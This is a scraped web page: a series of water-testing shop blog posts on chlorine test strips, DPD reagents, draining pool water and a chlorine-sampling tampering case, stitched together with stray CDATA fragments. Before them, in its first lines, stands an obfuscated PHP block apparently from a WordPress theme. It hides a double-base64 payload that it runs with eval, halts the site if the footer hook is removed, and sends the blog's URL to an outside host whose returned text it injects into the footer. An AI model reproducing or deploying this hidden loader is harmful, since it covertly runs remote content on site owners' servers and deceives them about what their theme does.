/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>
And we thank YOU, Colina, and your boss for all your business! Regarding the two products, both detect concentrations of free chlorine in water samples and as you know, the SenSafe 481026 product detects up to 6ppm and the WaterWorks 480023 product detects up to 25ppm.
Dilution method
To use the strips you have, you will need to use a dilution method. Below you will find two examples of how to properly dilute a sample and back calculate the free chlorine concentration.
NOTE: Make sure you use distilled or other water known to possess a zero chlorine concentration for dilutions.
As a general rule we always suggest having the proper tool for any testing job. Therefore we carry WaterWorks & SenSafe brands of water test strips for chlorine testing with varying detection ranges:
SenSafe Free Chlorine Water Check Detects 0 - 6 ppm |
SenSafe Total Chlorine Test Strips Detect 0 - 10ppm |
WaterWorks 2 Free & Total Chlorine Test Strips |
If simply drained into the streets the water winds up in storm drains which lead sometimes lead to local waterways where the chlorine could cause serious harm to aquatic life.
Draining pool water into sanitary sewer systems — the same ones that handle waste water and toilet water — could cause those systems to get backed up since many do not have the ability to handle large volumes of water.
So… How should I dispose of pool water?
From what we have read, environmental experts and department of public works employees suggest allowing the pool water’s chlorine level to dissipate as much as possible before releasing water into the environment or storm water systems. Make sure to keep the pool water circulating with the pool’s pump/filter during the dissipation process since doing so should aid in making the chlorine dissipation process go a little faster.
How will I know when the chlorine level drops close to zero?
Simple dip-and-read test strips for TOTAL chlorine, not free chlorine, work well and your basic 5-drop OTO pool water test kits work well, too.
‘TomToo’ very recently — as in a few minutes ago — asked about chlorine testing and which chlorine test he should use:
“Saw your chlorine sale announcement and have a question. The water in our beach house stinks really bad of chlorine when we first get there and we want to test to make sure it’s safe to use but you have free and total chlorine strips. How do you know which to use?”
Thanks for your inquiry, TomToo, and believe us when we say others share your confusion when it comes to knowing which type of chlorine they need to test for.
Lucky for you, though, we have simple answer if your concern deals only with worrying about having too much chlorine in the water. You should test for total chlorine.
The USEPA set the Maximum Contaminant Level for chlorine in drinking water at 4 ppm (parts per million) and that number takes into account ALL of the chlorine in a water sample, meaning both free and combined chlorine.
Moral of the story?
If you need to know the FULL amount of chlorine in a drinking water sample, testing for total chlorine makes the most sense.
]]>Whether testing drinking water at home, process water used in an industrial application, or wastewater for its chlorine before discharge into the environment, we feel quite certain that at least one of the chlorine test strip products above will come in handy — and this weekend you can save money when buying them!
As always, if you have any questions, please do not hesitate to ask! You may reach us easily using our Contact Us Form…. and yes we work on the weekends. 🙂
Have a great weekend, everyone, and don’t forget to stay hydrated!
]]>may sound dumb but I have just purchased a hot tub and these strips came with it, I
am not understanding the difference between total chlorine and free chlorine my test
shows 0 on both the rest of my colors are good what do I need to add? thanks
Believe it or not, Sally, we actually COMMEND you for having the courage to ask the question that you did… because too many people don’t ask questions and wind up with potentially unsafe water conditions!
For a tutorial on the differences between free and total chlorine we suggest you take a look at a popular blog entry on our site called “What is the Difference Between Total Residual Chlorine and Free Chlorine?“.
In a nutshell, however, if you use chlorine or bromine to sanitize your hot tub water then you have a problem that needs remedying right away: Your water contains no sanitizers — and you need to add some right away!
If, on the other hand, you use an alternative water sanitizing system (mineral ionization, ozone, peroxide, biguanide, etc.), then having no chlorine reading on either pad probably isn’t an issue.
Testing for alternative sanitizers
As more and more folks migrate towards alternative sanitizing systems for their spas and hot tubs, the need for testing methods for the alternative sanitizing methods grows.
Thankfully some methods, like the WaterWorks Peroxide Test Strips and the SenSafe Ozone Check, already exist.
And now for something completely (maybe) different…
Always consider the source water FIRST
Whether you have a swimming pool or a hot tub, the final quality of your water will depend heavily upon the quality of your source water (the water you fill your pool or hot tub with) and, more importantly, what you do to correct any issues that may exist with the water once you have added it to your pool or spa.
As ‘coders’ in the computer programming world often say, ‘Garbage In, Garbage Out!’
If your source water sucks, to use a term most of us definitely recognize, then without correction the water quality of any pool or spa filled with the source water will also suck.
Testing the water prior to the addition of chemicals makes total sense — unless, of course, you would rather spend money to fix problems like… staining on liners, fixtures, etc. caused by the addition of sanitizers (chlorine, bromine, etc.) which NEED to get added to the water.
Important Chemistry Lesson: Adding strong oxidizers like chlorine to water that contains dissolved metals like copper, iron, etc. may result in the formation of insoluble compounds that will settle on and stain any surfaces they encounter.
We took a quick look at Hanna Instrument’s main web site ( http://www.hannainst.com ) and saw that they have a link to their Madagascar branch ( http://www.hannaservice.it ) listed on the main page. We followed that link and it took us to a page targeted towards customers from Africa and the Balkans.
From there we went to the Contacts page ( http://www.hannaservice.it/?rt=index/contacts ) where we found the contact information for a number of Hanna’s offices in the region.
We hope this information proves useful for you, Ony!
Chlorine test kits for United States residents
On our own stores we carry a number of chlorine test strips and DPD test tablets for both free and total chlorine concentration testing.
Whether in your drinking water as a preventative measure against potentially harmful organic contaminants or in the swimming pool guarding against bacteria and waterborne diseases proper levels of chlorine must get maintained to keep us safe.
Without regular testing we will not KNOW if we have the correct amount of chlorine present. Too little chlorine puts our health at risk and too much can put our health at risk as well as cause us to spend money unnecessarily on chemicals.
If you’d like to get a quick lesson on the different types of chlorine found in water (i.e. free chlorine, total chlorine and combined chlorine), we posted an article called What is the Difference Between Total Residual Chlorine and Free Chlorine? that covers the topic very well (in our humble opinion).
Also, and as always, please feel free to Contact Us with any water testing questions you may have. We also invite anyone with news of free or discounted water testing announcements to contact us so we can help spread the word.
]]>Today’s inquiry deals with DPD for free chlorine testing and came to us from ‘Oviruo’ who asked, “please can you assit me to get dpd satchet powdered type for testing free chlorine in water. thanks.”
We did a quick check and found that you can purchase DPD-1 Powder Pillows for Free Chlorine Testing on the Hach Company web site. The material has an approximate cost of around $21 per 100 powder pillows.
Alternative to powder pillows
A company called Industrial Test Systems came out with an alternative to the powder pillow that performs as well or better than the powder pillow. They called it the ReagentStrip and it works quite well without the mess that sometimes accompanies the act of trying to pour a small packet of DPD powder into a sample vial.
Below you will see how the DPD-1 ReagentStrip works when used with the Hach 890 Water Testing Meter:
Free Chlorine Testing Using DPD-1 ReagentStrip
and Hach’s 890 Water Testing Meter
click on image to view larger version
According to the manufacturer, DPD-1 ReagentStrips work with chlorine testing meters manufactured by well-respected companies such as Hach®, LaMotte®, Orion®, WTW®, and others.
Additionally, the DPD-1 free chlorine testing procedure stands and an equivalent to USEPA method 330.5 for wastewater and Standard Method 4500-Cl G for drinking water when used with a Palintest Chlorometer 1000 water testing meter or equivalent.
Cost of DPD-1 ReagentStrips compared to powder pillows
Earlier in this article we mentioned that interested parties can pick up 100 DPD-1 powder pillows for around $21 on Hach’s web site.
For those interested in the DPD-1 ReagentStrips, you can purchase 100 of those for around $19 on FilterWater.Com.
]]>Dear Sir, I mixed chlorine tablets(water purification Tablets) in water. my friend taken water in Test tube. mixed one drop of liquid then water color changed in yellow. what is name of that liquid. how to by that.please can sent details.
Hello, Kishore, and thank you for the inquiry about a liquid test reagent that turns yellow in the presence of chlorine. Based upon your description we suspect your friend used a chemical called ‘OTO‘ to perform the testing. OTO stands for Orthotolidine Dihydrochloride. It test for total chlorine (free chlorine plus combined chlorine collectively).
|
You can find OTO in most pool supply stores, as it normally comes in the more basic pool water testing kits for total chlorine and pH, the two most commonly tested pool water quality parameters.
Many companies, including our own online store, also sell OTO & Phenol Red separately since they do tend to ‘go bad’ after a year once opened and exposed to air.
If you want to perform more precise chlorine concentration testing for free chlorine, the compound most people have the most interest in (usually) when attempting to determine if water has had the proper amount of disinfectant added to it, you will want to invest in a drinking water test kit that uses DPD reagents. ( What is DPD? )
For an even simpler means of testing the chlorine levels in water samples you may want to consider a product such as the SenSafe Free Chlorine Water Check, an EPA Approved method for determining free chlorine concentrations in drinking water, or the WaterWorks 2 Free & Total Chlorine product that uses the same free chlorine testing method as the SenSafe Free Chlorine Water Check and also includes a separate test area for total chlorine.
Want to know more about the differences between free and total chlorine? Check out an article called Free Chlorine, Combined Chlorine, Total Chlorine.
One more thing about OTO before we go: We have heard that some countries have outlawed its use due to scientists having evidence that it may cause cancer in humans… so check local laws before making a purchase!
We hope this helps!
]]>“Do your DPD Chlorine tabs work in Hach equipment?”
Good afternoon, Ronda, and thank you for this inquiry. When weighing the different DPD options (tablets, powders, reagentstrips, etc.) make sure you note the sample size that each test method will work in. As a general rule most devices that use DPD as a reagent will have 10 mL sample sizes, but we have also seen devices that use 15 mL sample sizes, 7 mL sample sizes and 20 mL sample sizes.
Check your machine’s manual to find out what sample size it takes. In order to remain compliant with whatever drinking water directives you follow you will need to match up the sample size w/ the correct reagent amount.
Specifically, though, you asked about the DPD tablets for chlorine testing that we have shown on our site and as far as we know all of the DPD products we have shown on our site work for 10 mL samples — except for the eXact Micro DPD products which work in smaller samples.
Two 10-mL Tablets/Strips/Powders for a 20-mL Sample?
While in theory that would work, definitely check your approved testing method to see if it expressly forbids that sort of thing and/or if it specifically calls for a brand or type of chlorine reagent delivery method. In the past we have seen where testing protocols have gotten so granular that they call out not only the type of DPD used, but also the brand of the test meter and DPD used for chlorine testing.
|
Today we stumbled across an article from a Chicago area paper talking about how a Federal Judge must decide whether or not a water company and also two of its employees should face charges for allegedly raising free chlorine levels intentionally right before taking readings and then allowing them to drop to potentially unsafe levels at other times throughout the day.
In the spirit of allowing both sides to present their case, we will post the entire article… which left us with more than one nagging question.
A federal judge has delayed ruling on whether to dismiss criminal charges claiming United Water Services tampered with water testing at the Gary Sanitary District.
Attorneys for United Water argued during a hearing Tuesday morning at the U.S. District Court in Hammond that the government’s indictment doesn’t actually cite any illegal activity.
The company, as well as two of its former employees, Gregory Ciaccio and Dwain Bowie, are charged with raising chlorine levels just before daily samples were taken for tests then lowering it again after the samples were taken to amounts not strong enough to properly kill off E. coli bacteria.
United Water operated the GSD from 1998 until last year.
However, Steven Solow, attorney for United Water, argued during the hearing on a motion to dismiss that the GSD’s wastewater permit allowed for the company to raise and lower chlorine levels. “Those are not improper things to do,” Solow argued.
He added that United Water would increase the chlorine levels in the morning, which is when the samples were taken, because people use more water in the morning and that every waste water treatment plant in the world changes its chlorine levels throughout the day.
However, David Mucha, an attorney with the U.S. Environmental Protection Agency, argued that United Water’s actions did violate its permit. The daily samples are supposed to represent what the water is like at the plant during that day, not just at that instant in time, Mucha said.
“This case is very simple,” Mucha said. “They altered normal operations at the time of sampling.”
If the sample doesn’t represent all the water at the plant on the day of the sample, then it’s useless, he said.
He also dismissed Solow’s argument that raising and lowering the chlorine levels weren’t illegal. Mucha said that done on their own, each was fine but that they became illegal when coupled with being done right before and after tests were taken. He likened it to how people can legally drink and can legally drive but can’t legally drive drunk.
Further, Mucha said, the government has to prove only that a person knowingly tampered with water samples for a conviction. U.S. law does not require any other provision.
U.S. District Judge Rudy Lozano recessed the hearing to look at the permit and filings. Mary Hatton, spokeswoman for the U.S. Attorneys office, said that a ruling likely wouldn’t come until after Aug. 1 because of deadlines for a filing by the defense. ( source )
Our first question…
… deals with the frequency of testing: “Why did the plant only need to test in the mornings?”
Our second questions deals with the real results of the raising chlorine levels (supposedly) to pass inspection and then lowering them to potentially unsafe levels: “Did anyone get sick or suffer any form of harm as a result of these actions?”
Don’t get us wrong based upon that second question. We just want to know more about how these folks got caught. If someone got sick as a result of what the water company did, then this case would have ended in a guilty verdict without the need for the judge to deliberate longer… right?
Bitter truth about public water systems?
While few people would argue that the United States of America, when examined as a whole, has one of the most technologically advanced network of public water distribution systems in the world. This does not, however, mean that all of the systems do all of the testing they should at all the right times.
The article above, as well as articles we’ve read over the years about public officials and private firms fabricating water test results in an effort to save money, makes us leery of our great system… yet grateful as heck that for the most part our greatest fears about our public water supply deal mostly with ‘minor’ breaches in protocol rather than instances of blatant disregard for the maintaining of sanitary practices in our water treatment facilities.
Testing for chlorine in drinking water at home?
Do average people have the ability to keep tabs on the amount of chlorine in their drinking water? Absolutely! Companies like WaterSafe and SenSafe make reliable, accurate and completely affordable test kits for detecting levels of both free and total chlorine in tap/drinking water.